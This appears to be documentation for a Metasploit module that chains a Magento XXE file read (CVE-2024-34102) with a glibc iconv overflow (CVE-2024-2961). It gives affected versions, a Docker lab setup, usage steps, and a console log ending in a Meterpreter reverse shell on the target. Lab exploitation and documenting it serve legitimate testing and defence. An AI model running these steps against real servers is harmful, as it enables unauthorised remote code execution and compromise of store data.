## Vulnerable Application
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
earlier if the PHP and glibc versions are also vulnerable:
- 2.4.7 and earlier
- 2.4.6-p5 and earlier
- 2.4.5-p7 and earlier
- 2.4.4-p8 and earlier

Vulnerable PHP versions:
- From PHP 7.0.0 (2015) to 8.3.7 (2024)

Vulnerable iconv() function in the GNU C Library:
- 2.39 and earlier

The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
CVE-2024-34102 is an XML External Entity vulnerability leveraging  PHP filters to read arbitrary files from the target
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
of later in the chain.

With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.

### Setup

The following docker-compose file can be used to test this module. There are a few things that need to be noted:
1. The docker-compose file sets magento server's name to `localhost` and in order to exploit the container `rhost` must
   be set to `localhost` (setting `rhost` to `127.0.0.1` or your local IP address will not work for this docker-compose file)
   and so given this configuration `msfconsole` must be running on the same host as the container.
2. The network settings on my macbook didn't allow me to exploit this locally so I was running the containers and
   `msfconsole` from an Ubuntu 22.04 VM.

Dockerfile
```
FROM docker.io/bitnami/magento:2.4.7-debian-12-r0

# Install curl
RUN apt update && apt install curl -y

```

docker-compose.yml
```
services:
  mariadb:
    image: docker.io/bitnami/mariadb:10.6
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
      - MARIADB_USER=bn_magento
      - MARIADB_DATABASE=bitnami_magento
    volumes:
      - 'old_mariadb_data:/bitnami/mariadb'
  magento:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - '80:8080'
      - '443:8443'
    environment:
      - MAGENTO_HOST=localhost
      - MAGENTO_DATABASE_HOST=mariadb
      - MAGENTO_DATABASE_PORT_NUMBER=3306
      - MAGENTO_DATABASE_USER=bn_magento
      - MAGENTO_DATABASE_NAME=bitnami_magento
      - ELASTICSEARCH_HOST=elasticsearch
      - ELASTICSEARCH_PORT_NUMBER=9200
      - ALLOW_EMPTY_PASSWORD=yes
    volumes:
      - 'old_magento_data:/bitnami/magento'
    depends_on:
      - mariadb
      - elasticsearch
  elasticsearch:
    image: docker.io/bitnami/elasticsearch:7
    volumes:
      - 'old_elasticsearch_data:/bitnami/elasticsearch/data'
volumes:
  old_mariadb_data:
    driver: local
  old_magento_data:
    driver: local
  old_elasticsearch_data:
    driver: local
```

## Options

### DOWNLOAD_FILE_TIMEOUT
This specifies how long the module should wait to receive a file that was requested by the `download_file` method which
exploits the Arbitrary File Read vulnerability CVE-2024-34102.

## Verification Steps

1. Start msfconsole
1. Do: `use linux/http/magento_xxe_to_glibc_buf_overflow`
1. Set the `RHOST`, `SRVHOST` and `LHOST` options
1. Run the module
1. Receive a Meterpreter sessions as the `daemon` user.

## Scenarios
### Magento/2.4 (Community) running PHP 8.2.17, GLIBC 2.36-9+deb12u4
```
msf > use magento_xxe_to_glibc_buf_overflow

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  exploit/linux/http/magento_xxe_to_glibc_buf_overflow  2024-07-26       excellent  No     CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/magento_xxe_to_glibc_buf_overflow

[*] Using exploit/linux/http/magento_xxe_to_glibc_buf_overflow
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set srvhost 172.16.199.130
srvhost => 172.16.199.130
msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set fetch_srvhost 172.16.199.130
fetch_srvhost => 172.16.199.130
msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set rhost localhost
rhost => localhost
msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > run
[*] Exploit running as background job 57.

msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > [*] Started reverse TCP handler on 172.16.199.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using URL: http://172.16.199.130:8080/
[*] Server started
[+] Exploit precondition 1/3 met: Detected Magento Community edition version 2.4 which is vulnerable.
[+] Exploit precondition 2/3 met: PHP appears to be exploitable.
[+] Exploit precondition 3/3 met: glibc is version: 2.36
[+] The target appears to be vulnerable.
[*] Attempting to parse libc to extract necessary symbols and addresses
[*] Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps
[*] Sending payload...
[*] Sending stage (3045380 bytes) to 192.168.80.4
[*] Meterpreter session 40 opened (172.16.199.130:4444 -> 192.168.80.4:60416) at 2024-10-10 10:56:06 -0700
Interrupt: use the 'exit' command to quit
[*] Server stopped.

msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > sessions -i -1
[*] Starting interaction with 6...

meterpreter > getuid
Server username: daemon
meterpreter > sysinfo
Computer     : 172.25.0.4
OS           : Debian 12.5 (Linux 6.8.0-45-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
